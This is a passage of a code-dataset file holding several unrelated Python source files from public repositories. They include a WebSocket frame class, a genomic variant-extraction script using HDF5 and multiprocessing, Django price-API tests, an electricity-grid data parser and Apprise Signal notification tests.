nstate, _, ratio = r.transit_state(r.state,\n action,\n self.action_magnitude,\n self.verify_magnitude)\n ns[action] = nstate\n if ratio < 1e-4:\n d[action] = 999.9\n else:\n d[action] = pyosr.distance(nstate, self.target)\n print(\"\\tA {} NS {} Ratio {} D {}\".format(action, nstate, ratio, d[action]))\n best = np.argmax(d)\n bstate = ns[best]\n r.state = bstate\n\ndef main():\n pyosr.init()\n args = rlargs.parse()\n print(args)\n player = OctoPlayer(args)\n reanimate(player)\n\nif __name__ == '__main__':\n main()\n","repo_name":"xinyazhang/PuzzleTunnelDiscovery","sub_path":"src/RL/legacy/octogui.py","file_name":"octogui.py","file_ext":"py","file_size_in_byte":1981,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"21"} +{"seq_id":"24362405125","text":"import sympy as sp\n\n\ndef create_polynomial(monomials):\n \"\"\"\n Create a polynomial from a list of monomials, where each monomial is represented as [degrees, coefficient].\n\n Args:\n - monomials (list of lists): List of monomials, where each monomial is represented as [degrees, coefficient].\n\n Returns:\n - sympy expression: The polynomial expression.\n \"\"\"\n\n # Make sure the list of monomials is not empty\n if monomials == []:\n return 0\n\n # Compute the number of variables\n num_variables = len(monomials[0]) - 1\n\n # Create symbolic variables in a loop and store them in a list\n variables = [sp.symbols(f'x{i}') for i in range(num_variables)]\n\n polynomial = sum(coefficient * sp.prod(var**degree\n for var, degree in zip(variables, degrees))\n for *degrees, coefficient in monomials)\n\n return polynomial\n\n# Example usage:\n# if __name__ == \"__main__\":\n\n# # List of monomials, each represented as [degrees, coefficient]\n# monomials = [[1, 2, 0, 1], [1, 2, 3, 4]]\n\n# # Create the polynomial\n# polynomial = create_polynomial(monomials)\n\n# # Print the polynomial\n# print(\"Polynomial:\", polynomial)\n\ndict1 = {'a': 2, 'b': 1, 'c': 3}\ndict2 = {'b': 1, 'a': 2, 'c': 3}\nassertDictEqual(dict1, dict2)","repo_name":"teresodra/VariableOrderingInCAD","sub_path":"utils/trial.py","file_name":"trial.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40836667215","text":"import sys, tables, csv, os\nfrom multiprocessing import Process, Pool\nimport mkHdfVarsForSample\n\nuseFields = ['isHomVar', 'refDepth', 'altDepth', 'totDepth',\n 'varFrac', 'tumorRef',\n 'tumorAlt', 'tumorTotDepth', 'tumorFrac',\n 'noCallSampleCount', 'Prob']\n\ndef filterRow(row, ref, alt):\n return row['ref'].decode(\"utf-8\") == ref \\\n and row['alt'].decode(\"utf-8\") == alt \\\n and row['isVar'] == 1\n\ndef fix_field(field):\n if \"'\" in str(field):\n return field.decode(\"utf-8\")\n return str(field)\n\ndef query_hdf(table, useFields, ref, alt, chrom, start):\n return [ [x[uf] for uf in useFields] for x in \n table.where('(chrom == %d) & (pos == %d)'\n % (chrom, start))\n if filterRow(x, ref, alt) ]\n\ndef process_row(sample, row, table, useFields, fieldNames, fout):\n start = int(row['start']) + 1\n ref = row['ref']\n alt = row['alt']\n rawChrom = row['chrom']\n chrom = mkHdfVarsForSample.mkNewChrom(rawChrom)\n resLs = query_hdf(table, useFields, ref, alt, chrom, start)\n for r in resLs:\n print('\\t'.join([ row[x] for x in fieldNames ] + [fix_field(ff) for ff in r] + [sample]),\n file=fout) \n\nasync def load_vars(args, gemini_file, file_handle, fout, field2idx, fieldNames):\n# print(field2idx)\n h5file = tables.open_file(args.hdf_file, mode=\"r\")\n table = h5file.root.posCollection.posLs\n # i = 0\n # fout = \n # print('here0')\n # with aiofiles.open(gemini_file, mode='r') as f:\n # print('here1')\n \n \n# async for line in f:\n async for line in file_handle.readlines():\n print('here0')\n sp = line.strip().split('\\t')\n if not sp[0] in field2idx:\n row = {field:sp[field2idx[field]] for field in fieldNames}\n await trio.sleep(1) #process_row(row, table, useFields, fout)\n print(gemini_file)\n # i += 1\n # if i == 100:\n # break\n\nasync def main(args):\n gemini_ls = (args.gemini_file_1, args.gemini_file_2, args.gemini_file_3,\n args.gemini_file_4, args.gemini_file_5)\n files = [open(x) for x in gemini_ls]\n out_files = [open(gemini_file + '.' + args.sample + '.tmp', 'w')\n for gemini_file in gemini_ls]\n for afile in files:\n fieldNames = afile.readline().strip().split('\\t')\n field2idx = {field:x for x,field in enumerate(fieldNames)}\n for afile in out_files:\n print('\\t'.join(fieldNames + useFields + ['sample']), file=afile)\n\n for afile in files:\n afile.close()\n\n async with trio.open_nursery() as nursery:\n print('one')\n async with aiofiles.open(args.gemini_file_1, mode='r') as f1:\n print('two')\n async with aiofiles.open(args.gemini_file_2, mode='r') as f2:\n async with aiofiles.open(args.gemini_file_3, mode='r') as f3:\n print('spawning')\n nursery.spawn(load_vars, args, gemini_file_1, f1, out_files[0], field2idx, fieldNames)\n nursery.spawn(load_vars, args, gemini_file_2, f2, out_files[1], field2idx, fieldNames)\n nursery.spawn(load_vars, args, gemini_file_3, f3, out_files[2], field2idx, fieldNames)\n # for out_file, file_handle, gemini_file in zip(out_files, files, gemini_ls):\n # nursery.spawn(load_vars, args, gemini_file, file_handle, out_file, field2idx, fieldNames)\n\n\n for afile in out_files:\n afile.close()\n\n os.system('head -1 {} > {}'.format(args.gemini_file_1 + '.' + args.sample + '.tmp',\n args.outFile))\n for gemini_file in (args.gemini_file_1, args.gemini_file_2, args.gemini_file_3,\n args.gemini_file_4, args.gemini_file_5):\n os.system('tail -n +2 {} >> {}'.format(args.gemini_file_1 + '.' + args.sample + '.tmp',\n args.outFile))\n\ndef read_file(params):\n afile_name, out_file_name, name, hdf_file, sample = params\n afile = open(afile_name)\n out_file = open(out_file_name, 'w')\n chrom = name.split('/')[-1].split('.')[0]\n # with open('shit.' + chrom + '.' + sample, 'w') as fout:\n # print('shit', file=fout)\n # print(out_file)\n # print('test2', file=out_file)\n h5file = tables.open_file(hdf_file, mode=\"r\")\n table = h5file.root.posCollection.posLs\n\n i = 0\n# stream = curio.io.FileStream(afile)\n sp = afile.readline().strip().split('\\t')\n fieldNames = sp\n field2idx = {field:x for x,field in enumerate(fieldNames)}\n print('\\t'.join(fieldNames), file=out_file)\n# print('here')\n for line in afile:\n sp = line.strip().split('\\t')\n i += 1\n row = {field:sp[field2idx[field]] for field in fieldNames}\n process_row(sample, row, table, useFields, fieldNames, out_file)\n # print(i, name)\n # if i == 1000:\n # break\n afile.close()\n out_file.close()\n\n# class myThread(threading.Thread):\n# def __init__(self, threadID, open_file, out_file, hdf_file, sample):\n# threading.Thread.__init__(self)\n# self.threadID = threadID\n# self.open_file = open_file\n# self.out_file = out_file\n# self.hdf_file = hdf_file\n# self.sample = sample\n# def run(self):\n# read_file(self.open_file, self.out_file, self.threadID, self.hdf_file, self.sample)\n\ndef test(sample, hdf_file, files, out_file):\n# open_files = [open(afile, 'r') for afile in files]\n out_files = [afile + '.' + sample + '.tmp'\n for afile in files]\n #print('test', file=out_files[0])\n\n i = 0\n pool = Pool(processes=12)\n input_ls = []\n for open_file, out_afile in zip(files, out_files):\n args = [open_file, out_afile, 't' + str(i), hdf_file, sample]\n input_ls.append(args)\n i += 1\n result = pool.map(read_file, input_ls)\n # i += 1\n # procs.append(proc)\n # proc.start()\n # for t in procs:\n # t.join()\n\n # for afile in out_files:\n # afile.close()\n\n os.system('head -1 {} > {}'.format(files[0] + '.' + sample + '.tmp',\n out_file))\n for gemini_file in files:\n os.system('tail -n +2 {} >> {}'.format(gemini_file + '.' + sample + '.tmp',\n out_file))\n # clean up tmp file\n os.system('rm ' + gemini_file + '.' + sample + '.tmp')\n\nif __name__ == \"__main__\":\n sample, hdf_file = sys.argv[1:3]\n gemini_files = sys.argv[3:-1]\n out_file = sys.argv[-1]\n\n # desc = 'Pull data for report.'\n # parser = argparse.ArgumentParser(description=desc)\n # argLs = ('sample', 'hdf_file', 'gemini_file_1', \n # 'gemini_file_2', 'gemini_file_3',\n # 'gemini_file_4', 'gemini_file_5',\n # 'out_file',)\n # for param in argLs:\n # parser.add_argument(param)\n # args = parser.parse_args()\n test(sample, hdf_file, gemini_files, out_file)\n","repo_name":"bmennis/nb_prediction","sub_path":"src/scripts/pull_hdf_mp.py","file_name":"pull_hdf_mp.py","file_ext":"py","file_size_in_byte":7020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72115341172","text":"import numpy as np\nfrom utils.utils import normalizeRows\n\ndef cos_sim(a, b):\n\t\"\"\"Takes 2 vectors a, b and returns the cosine similarity according\n\tto the definition of the dot product\n\t\"\"\"\n\tdot_product = np.dot(a, b)\n\tnorm_a = np.linalg.norm(a)\n\tnorm_b = np.linalg.norm(b)\n\n\treturn dot_product / (norm_a * norm_b)\n\ndef knn(vector, matrix, k=10):\n nearest_idx = []\n\n ### YOUR CODE\n score = []\n for index, row in enumerate(matrix):\n score.append((cos_sim(row, vector), index))\n ### END YOUR CODE\n sorted_vectors = sorted(score, key=lambda x:x[0], reverse=True)\n for i in range(k):\n nearest_idx.append(sorted_vectors[i][1])\n\n return nearest_idx\n\n","repo_name":"CYP0630/NLP_Note","sub_path":"2_word_vector/knn.py","file_name":"knn.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72966499252","text":"# encoding=UTF-8\n\nimport os\nimport struct\nimport array\n\nfrom websocket_exceptions import *\nfrom websocket_utils import validate_utf8\n\nSTATUS_NORMAL = 1000\nSTATUS_GOING_AWAY = 1001\nSTATUS_PROTOCOL_ERROR = 1002\nSTATUS_UNSUPPORTED_DATA_TYPE = 1003\nSTATUS_STATUS_NOT_AVAILABLE = 1005\nSTATUS_ABNORMAL_CLOSED = 1006\nSTATUS_INVALID_PAYLOAD = 1007\nSTATUS_POLOCY_VIOLATION = 1008\nSTATUS_MESSAGE_TOO_BIG = 1009\nSTATUS_INVALID_EXTENSION = 1010\nSTATUS_UNEXPECTED_CONDITION = 1011\nSTATUS_TLS_HANDSHAKE_ERROR = 1015\n\nVALID_CLOSE_STATUS = (STATUS_NORMAL,\n STATUS_GOING_AWAY,\n STATUS_PROTOCOL_ERROR,\n STATUS_UNSUPPORTED_DATA_TYPE,\n STATUS_INVALID_PAYLOAD,\n STATUS_POLOCY_VIOLATION,\n STATUS_MESSAGE_TOO_BIG,\n STATUS_INVALID_EXTENSION,\n STATUS_UNEXPECTED_CONDITION,)\n\nclass ABNF(object):\n\n OPCODE_CONT = 0x0\n OPCODE_TEXT = 0x1\n OPCODE_BINARY = 0x2\n OPCODE_CLOSE = 0x8\n OPCODE_PING = 0x9\n OPCODE_PONG = 0xa\n\n OPCODES = (OPCODE_CONT, OPCODE_TEXT, OPCODE_BINARY, OPCODE_CLOSE, OPCODE_PING, OPCODE_PONG)\n\n LENGTH_7 = 0x7e\n LENGTH_16 = 1 << 16\n LENGTH_63 = 1 << 63\n\n def __init__(self, fin = 0, rsv1 = 0, rsv2 = 0, rsv3 = 0,\n opcode = OPCODE_TEXT, mask = 1, data = ''):\n self.fin = fin\n self.rsv1 = rsv1\n self.rsv2 = rsv2\n self.rsv3 = rsv3\n self.opcode = opcode\n self.mask = mask\n self.data = data\n self.get_mask_key = os.urandom\n\n @staticmethod\n def create_frame(data, opcode,fin = 1):\n if opcode == ABNF.OPCODE_TEXT and isinstance(data, str):\n data = data.encode('utf-8')\n\n return ABNF(fin, 0, 0, 0, opcode, 1, data)\n\n @staticmethod\n def mask(mask_key, data):\n if isinstance(mask_key, str):\n mask_key = mask_key.encode('latin-1')\n if isinstance(data, str):\n data = data.encode('latin-1')\n\n _m = array.array('B', mask_key)\n _d = array.array('B', data)\n for i in range(len(_d)):\n _d[i] ^= _m[i % 4]\n\n return _d.tobytes()\n\n def _get_masked(self, mask_key):\n s = ABNF.mask(mask_key, self.data)\n\n if isinstance(mask_key, str):\n mask_key = mask_key.encode('utf-8')\n\n return mask_key + s\n\n def format(self):\n if any(x not in (0, 1) for x in [self.fin, self.rsv1, self.rsv2, self.rsv3]):\n raise ValueError('not 0 or 1')\n if self.opcode not in ABNF.OPCODES:\n raise ValueError('Invalid OPCODE')\n length = len(self.data)\n if length >= ABNF.LENGTH_63:\n raise ValueError('data is too long')\n\n frame_header = chr(self.fin << 7 |\n self.rsv1 << 6 | self.rsv2 << 5 | self.rsv3 << 4 |\n self.opcode)\n if length < ABNF.LENGTH_7:\n frame_header += chr(self.mask << 7 | length)\n frame_header = frame_header.encode('latin-1')\n elif length < ABNF.LENGTH_16:\n frame_header += chr(self.mask << 7 | 0x7e)\n frame_header = frame_header.encode('latin-1')\n frame_header += struct.pack('!H', length)\n else:\n frame_header += chr(self.mask << 7 | 0x7f)\n frame_header = frame_header.encode('latin-1')\n frame_header += struct.pack('!Q', length)\n\n if not self.mask:\n return frame_header + self.data\n else:\n mask_key = self.get_mask_key(4)\n return frame_header + self._get_masked(mask_key)\n\n def _is_invalid_close_status(self, code):\n#should be a static method\n global VALID_CLOSE_STATUS\n\n return code in VALID_CLOSE_STATUS or (3000 <= code < 5000)\n\n def validate(self):\n if self.rsv1 or self.rsv2 or self.rsv3:\n raise WebSocketProtocolException('rsv is not implemented, yet')\n\n if self.opcode not in ABNF.OPCODES:\n raise WebSocketProtocolException('Invalid opcode ' + self.opcode)\n\n if self.opcode == ABNF.OPCODE_PING and not self.fin:\n raise WebSocketProtocolException('Invalid ping frame')\n\n if self.opcode == ABNF.OPCODE_CLOSE:\n l = len(self.data)\n if not l:\n return\n if l == 1 or l >= 126:\n raise WebSocketProtocolException('Invalid close frame')\n if l > 2 and not validate_utf8(self.data[2]):\n raise WebSocketProtocolException('Invalid close frame')\n\n code= 256 * self.data[0] + self.data[1]\n if not self._is_invalid_close_status(code):\n raise WebSocketProtocolException('Invalid close opcode')\n\n def __str__(self):\n return 'fin=' + str(self.fin) + ' opcode=' + str(self.opcode) + ' data=' + str(self.data)\n","repo_name":"gnaggnoyil/okcoin-libinterface","sub_path":"websocket_abnf.py","file_name":"websocket_abnf.py","file_ext":"py","file_size_in_byte":4869,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"72398040693","text":"def func(n):\n counter = 0\n for i in range(n):\n l = list(map(int,input().split()))\n p1 = l[0]\n q1 = l[1]\n if p1 < q1:\n counter += 1\n if counter > 0:\n print('Happy Alex')\n else:\n print('Poor Alex')\nn = int(input())\nfunc(n)","repo_name":"bijeshofficial/coding_solutions","sub_path":"CodeForces/456A.Laptops.py","file_name":"456A.Laptops.py","file_ext":"py","file_size_in_byte":285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19989799364","text":"class Solution:\n def rotateString(self, A: str, B: str) -> bool:\n if A == \"\":\n if B == \"\":\n return True\n else:\n return False\n for idx in range(len(A)):\n newstr = A[idx+1:]+A[:idx+1]\n if B == newstr:\n return True\n return False\n ","repo_name":"KCbao/Leetcode_Python","sub_path":"String/796.py","file_name":"796.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22276581810","text":"from tkinter import *\nfrom PIL import ImageTk, Image\n\nroot = Tk()\nroot.title(\"Checkboxes\")\n\ndef show():\n my_label = Label(root, text=var.get()) \n my_label.pack()\n\nvar = StringVar()\n\nc = Checkbutton(root, text= \"Click here to Select/Deselect\", variable=var, onvalue=\"Selected\", offvalue=\"Deselected\")\nc.deselect()\nc.pack()\n\nb = Button(root, text=\"Show Status\", command=show).pack()\n\n\nroot.mainloop()","repo_name":"NNikoGG/tkinter-gui","sub_path":"checkboxes.py","file_name":"checkboxes.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23702666397","text":"import logging\nfrom unittest import mock\nfrom unittest.mock import MagicMock\n\nfrom django.urls import reverse\nfrom django.utils import timezone\n\nfrom eth_account import Account\nfrom rest_framework import status\nfrom rest_framework.test import APITestCase\n\nfrom ..clients import CannotGetPrice\nfrom ..services.price_service import PriceService\n\nlogger = logging.getLogger(__name__)\n\n\nclass TestTokenViews(APITestCase):\n ganache_chain_id = 1337\n\n @mock.patch.object(timezone, \"now\", return_value=timezone.now())\n def test_token_price_view(self, timezone_now_mock: MagicMock):\n chain_id = 1\n invalid_address = \"0x1234\"\n response = self.client.get(\n reverse(\n \"v1:tokens:price-usd\",\n args=(\n chain_id,\n invalid_address,\n ),\n )\n )\n self.assertEqual(response.status_code, status.HTTP_422_UNPROCESSABLE_ENTITY)\n self.assertEqual(\n response.json(),\n {\"arguments\": [chain_id], \"code\": 2, \"message\": \"Chain is not supported\"},\n )\n\n chain_id = self.ganache_chain_id\n response = self.client.get(\n reverse(\n \"v1:tokens:price-usd\",\n args=(\n chain_id,\n invalid_address,\n ),\n )\n )\n self.assertEqual(response.status_code, status.HTTP_422_UNPROCESSABLE_ENTITY)\n self.assertEqual(\n response.json(),\n {\n \"arguments\": [invalid_address],\n \"code\": 1,\n \"message\": \"Invalid ethereum address\",\n },\n )\n\n valid_address = Account.create().address\n with mock.patch.object(\n PriceService,\n \"get_token_eth_value_from_oracles\",\n return_value=4815,\n autospec=True,\n ) as get_token_eth_value_from_oracles_mock:\n with mock.patch.object(\n PriceService, \"get_native_coin_usd_price\", return_value=3, autospec=True\n ) as get_native_coin_usd_price_mock:\n response = self.client.get(\n reverse(\n \"v1:tokens:price-usd\",\n args=(\n chain_id,\n valid_address,\n ),\n )\n )\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(\n response.data,\n {\n \"fiat_code\": \"USD\",\n \"fiat_price\": str(\n get_token_eth_value_from_oracles_mock.return_value\n * get_native_coin_usd_price_mock.return_value\n ),\n \"timestamp\": timezone_now_mock.return_value.isoformat().replace(\n \"+00:00\", \"Z\"\n ),\n },\n )\n\n @mock.patch.object(\n PriceService, \"get_native_coin_usd_price\", return_value=321.2, autospec=True\n )\n def test_token_price_view_address_0(\n self, get_native_coin_usd_price_mock: MagicMock\n ):\n chain_id = 1\n token_address = \"0x0000000000000000000000000000000000000000\"\n\n response = self.client.get(\n reverse(\n \"v1:tokens:price-usd\",\n args=(\n chain_id,\n token_address,\n ),\n )\n )\n self.assertEqual(response.status_code, status.HTTP_422_UNPROCESSABLE_ENTITY)\n self.assertEqual(\n response.json(),\n {\"arguments\": [chain_id], \"code\": 2, \"message\": \"Chain is not supported\"},\n )\n\n chain_id = self.ganache_chain_id\n response = self.client.get(\n reverse(\n \"v1:tokens:price-usd\",\n args=(\n chain_id,\n token_address,\n ),\n )\n )\n\n # Native token should be retrieved even if it is not part of the Token table\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(response.data[\"fiat_code\"], \"USD\")\n self.assertEqual(response.data[\"fiat_price\"], \"321.2\")\n self.assertTrue(response.data[\"timestamp\"])\n\n @mock.patch.object(\n PriceService,\n \"get_token_usd_price\",\n side_effect=CannotGetPrice(),\n )\n def test_token_price_view_error(self, get_token_usd_price_mock: MagicMock):\n chain_id = 1\n token_address = \"0x0000000000000000000000000000000000000000\"\n\n response = self.client.get(\n reverse(\n \"v1:tokens:price-usd\",\n args=(\n chain_id,\n token_address,\n ),\n )\n )\n self.assertEqual(response.status_code, status.HTTP_422_UNPROCESSABLE_ENTITY)\n self.assertEqual(\n response.json(),\n {\"arguments\": [chain_id], \"code\": 2, \"message\": \"Chain is not supported\"},\n )\n\n chain_id = self.ganache_chain_id\n response = self.client.get(\n reverse(\n \"v1:tokens:price-usd\",\n args=(\n chain_id,\n token_address,\n ),\n )\n )\n self.assertEqual(response.status_code, status.HTTP_503_SERVICE_UNAVAILABLE)\n self.assertEqual(response.data[\"message\"], \"Price retrieval failed\")\n self.assertEqual(response.data[\"arguments\"], [token_address])\n","repo_name":"safe-global/safe-price-service","sub_path":"safe_price_service/tokens/tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":5685,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"29957085777","text":"\nfrom onnx import onnx_pb\nimport onnx\n\ndef is_topsort(model):\n queue = [model]\n namespace = set()\n while queue:\n next_level = []\n for q in queue:\n # if q is model, push q.graph (GraphProto)\n if isinstance(q, onnx_pb.ModelProto):\n next_level.append(q.graph)\n # if q is model.graph, push q.node.attribute (AttributeProto)\n if isinstance(q, onnx_pb.GraphProto):\n for n in q.initializer:\n namespace.add(n.name)\n for n in q.input:\n namespace.add(n.name)\n for n in q.node:\n for inp in n.input:\n assert inp in namespace\n for out in n.output:\n namespace.add(out)\n for attr in n.attribute:\n next_level.append(attr)\n \n # if q is model.graph.node.attribute, push q.g and q.graphs (GraphProto)\n if isinstance(q, onnx_pb.AttributeProto):\n next_level.append(q.g)\n for n in q.graphs:\n next_level.append(n)\n queue = next_level\n return True\n\ndef repair_model(model):\n return []\n\n#print(is_topsort(onnx.load(r\"C:\\Users\\tomwi\\Documents\\tfhubmodels\\bit-m-r50x1\\model.onnx\")))\n\nprint(is_topsort(onnx.load(r\"C:\\Users\\tomwi\\OneDrive - Microsoft\\ONNX\\onnxconverter-common\\fp16problem\\melgen_fs_opset11_new.onnx\")))","repo_name":"pranavsambyal/Machine-Learning","sub_path":"ml-env/Lib/site-packages/onnxconverter_common/repair.py","file_name":"repair.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9870148397","text":"#!/usr/bin/env python3\n\n# The arrow library is used to handle datetimes consistently with other parsers\nfrom datetime import datetime, timezone\nfrom logging import Logger, getLogger\nfrom typing import Any\n\n# BeautifulSoup is used to parse HTML to get information\nfrom bs4 import BeautifulSoup\nfrom requests import Session\n\nfrom electricitymap.contrib.lib.models.event_lists import (\n ExchangeList,\n ProductionBreakdownList,\n)\nfrom electricitymap.contrib.lib.models.events import ProductionMix\nfrom electricitymap.contrib.lib.types import ZoneKey\n\nSOURCE = \"tso.nbpower.com\"\nEXCHANGE_TO_FLOWS = {\n ZoneKey(\"CA-NB->CA-QC\"): [\"QUEBEC\"],\n # all of these exports are to Maine\n # (see https://www.nbpower.com/en/about-us/our-energy/system-map/),\n # currently this is mapped to ISO-NE\n ZoneKey(\"CA-NB->US-NE-ISNE\"): [\"EMEC\", \"ISO-NE\", \"MPS\"],\n ZoneKey(\"CA-NB->CA-NS\"): [\"NOVA SCOTIA\"],\n ZoneKey(\"CA-NB->CA-PE\"): [\"PEI\"],\n}\n\n\ndef _get_new_brunswick_flows(requests_obj):\n \"\"\"\n Gets current electricity flows in and out of New Brunswick.\n\n There is no reported data timestamp in the page.\n The page returns current time and says \"Times at which values are sampled may vary by as much as 5 minutes.\"\n \"\"\"\n\n url = \"https://tso.nbpower.com/Public/en/SystemInformation_realtime.asp\"\n response = requests_obj.get(url)\n\n soup = BeautifulSoup(response.text, \"html.parser\")\n\n table = soup.find(\"table\", attrs={\"bordercolor\": \"#191970\"})\n\n rows = table.find_all(\"tr\")\n\n headers = rows[1].find_all(\"td\")\n values = rows[2].find_all(\"td\")\n\n flows = {\n headers[i].text.strip(): float(row.text.strip()) for i, row in enumerate(values)\n }\n\n return flows\n\n\ndef fetch_production(\n zone_key: ZoneKey = ZoneKey(\"CA-NB\"),\n session: Session | None = None,\n target_datetime: datetime | None = None,\n logger: Logger = getLogger(__name__),\n) -> list[dict[str, Any]]:\n \"\"\"Requests the last known production mix (in MW) of a given country.\"\"\"\n\n \"\"\"\n In this case, we are calculating the amount of electricity generated\n in New Brunswick, versus imported and exported elsewhere.\n \"\"\"\n\n if target_datetime:\n raise NotImplementedError(\"This parser is not yet able to parse past dates\")\n\n requests_obj = session or Session()\n flows = _get_new_brunswick_flows(requests_obj)\n\n # nb_flows['NB Demand'] is the use of electricity in NB\n # 'EMEC', 'ISO-NE', 'MPS', 'NOVA SCOTIA', 'PEI', and 'QUEBEC'\n # are exchanges - positive for exports, negative for imports\n # Electricity generated in NB is then 'NB Demand' plus all the others\n\n generated = (\n flows[\"NB Demand\"]\n + flows[\"EMEC\"]\n + flows[\"ISO-NE\"]\n + flows[\"MPS\"]\n + flows[\"NOVA SCOTIA\"]\n + flows[\"PEI\"]\n + flows[\"QUEBEC\"]\n )\n production = ProductionBreakdownList(logger)\n production.append(\n zoneKey=zone_key,\n # Using the current utc time because the page returns the current time.\n datetime=datetime.now(tz=timezone.utc).replace(\n minute=0, second=0, microsecond=0\n ),\n source=SOURCE,\n production=ProductionMix(\n unknown=generated,\n ),\n )\n\n return production.to_list()\n\n\ndef fetch_exchange(\n zone_key1: ZoneKey,\n zone_key2: ZoneKey,\n session: Session | None = None,\n target_datetime: datetime | None = None,\n logger: Logger = getLogger(__name__),\n) -> list[dict[str, Any]]:\n \"\"\"Requests the last known power exchange (in MW) between two regions.\"\"\"\n if target_datetime:\n raise NotImplementedError(\"This parser is not yet able to parse past dates\")\n\n sorted_zone_keys = \"->\".join(sorted([zone_key1, zone_key2]))\n\n requests_obj = session or Session()\n flows = _get_new_brunswick_flows(requests_obj)\n\n # In this source, positive values are exports and negative are imports.\n # In expected result, \"net\" represents an export.\n # So these can be used directly.\n\n if sorted_zone_keys not in EXCHANGE_TO_FLOWS:\n raise NotImplementedError(\"This exchange pair is not implemented\")\n exchanges = ExchangeList(logger)\n exchanges.append(\n zoneKey=sorted_zone_keys,\n datetime=datetime.now(tz=timezone.utc).replace(\n minute=0, second=0, microsecond=0\n ),\n source=SOURCE,\n netFlow=sum([flows[flow] for flow in EXCHANGE_TO_FLOWS[sorted_zone_keys]]),\n )\n\n return exchanges.to_list()\n\n\nif __name__ == \"__main__\":\n \"\"\"Main method, never used by the Electricity Map backend, but handy for testing.\"\"\"\n\n print(\"fetch_production() ->\")\n print(fetch_production())\n\n print('fetch_exchange(\"CA-NB\", \"CA-PE\") ->')\n print(fetch_exchange(ZoneKey(\"CA-NB\"), ZoneKey(\"CA-PE\")))\n","repo_name":"electricitymaps/electricitymaps-contrib","sub_path":"parsers/CA_NB.py","file_name":"CA_NB.py","file_ext":"py","file_size_in_byte":4761,"program_lang":"python","lang":"en","doc_type":"code","stars":3126,"dataset":"github-code","pt":"21"} +{"seq_id":"74363590772","text":"import requests\nimport json\n\nurl = 'https://54qhf521ze.execute-api.eu-north-1.amazonaws.com/weather/stockholm'\n\ntry:\n response = requests.get(url)\n response.raise_for_status() # Raise an exception if the request was not successful\n response_dictionary = json.loads(response.text)\n print(response_dictionary)\nexcept requests.exceptions.RequestException as e:\n print(\"An error occurred:\", e)\nexcept json.JSONDecodeError as e:\n print(\"JSON decoding error:\", e)\n","repo_name":"unikhex/devops-23","sub_path":"lektion 7/api_demo.py","file_name":"api_demo.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15224819447","text":"import os\nfrom json import loads\nfrom unittest import mock\nfrom inspect import cleandoc\n\nimport pytest\nimport requests\nfrom apprise import Apprise\nfrom apprise.plugins.NotifySignalAPI import NotifySignalAPI\nfrom helpers import AppriseURLTester\nfrom apprise import AppriseAttachment\nfrom apprise import NotifyType\nfrom apprise.config.ConfigBase import ConfigBase\n\n# Disable logging for a cleaner testing output\nimport logging\nlogging.disable(logging.CRITICAL)\n\n# Attachment Directory\nTEST_VAR_DIR = os.path.join(os.path.dirname(__file__), 'var')\n\n\n@pytest.fixture\ndef request_mock(mocker):\n \"\"\"\n Prepare requests mock.\n \"\"\"\n mock_post = mocker.patch(\"requests.post\")\n mock_post.return_value = requests.Request()\n mock_post.return_value.status_code = requests.codes.ok\n mock_post.return_value.content = \"\"\n return mock_post\n\n\n# Our Testing URLs\napprise_url_tests = (\n ('signal://', {\n # No host specified\n 'instance': TypeError,\n }),\n ('signal://:@/', {\n # invalid host\n 'instance': TypeError,\n }),\n ('signal://localhost', {\n # Just a host provided\n 'instance': TypeError,\n }),\n ('signal://localhost', {\n # key and secret provided and from but invalid from no\n 'instance': TypeError,\n }),\n ('signal://localhost/123', {\n # invalid from phone\n 'instance': TypeError,\n\n }),\n ('signal://localhost/{}/123/'.format('1' * 11), {\n # invalid 'to' phone number\n 'instance': NotifySignalAPI,\n # Notify will fail because it couldn't send to anyone\n 'response': False,\n # Our expected url(privacy=True) startswith() response:\n 'privacy_url': 'signal://localhost/+{}/123'.format('1' * 11),\n }),\n ('signal://localhost:8080/{}/'.format('1' * 11), {\n # one phone number will notify ourselves\n 'instance': NotifySignalAPI,\n }),\n\n ('signal://localhost:8082/+{}/@group.abcd/'.format('2' * 11), {\n # a valid group\n 'instance': NotifySignalAPI,\n # Our expected url(privacy=True) startswith() response:\n 'privacy_url': 'signal://localhost:8082/+{}/@abcd'.format('2' * 11),\n }),\n ('signal://localhost:8080/+{}/group.abcd/'.format('1' * 11), {\n # another valid group (without @ symbol)\n 'instance': NotifySignalAPI,\n # Our expected url(privacy=True) startswith() response:\n 'privacy_url': 'signal://localhost:8080/+{}/@abcd'.format('1' * 11),\n }),\n ('signal://localhost:8080/?from={}&to={},{}'.format(\n '1' * 11, '2' * 11, '3' * 11), {\n # use get args to acomplish the same thing\n 'instance': NotifySignalAPI,\n }),\n ('signal://localhost:8080/?from={}&to={},{},{}'.format(\n '1' * 11, '2' * 11, '3' * 11, '5' * 3), {\n # 2 good targets and one invalid one\n 'instance': NotifySignalAPI,\n }),\n ('signal://localhost:8080/{}/{}/?from={}'.format(\n '1' * 11, '2' * 11, '3' * 11), {\n # If we have from= specified, then all elements take on the to= value\n 'instance': NotifySignalAPI,\n }),\n 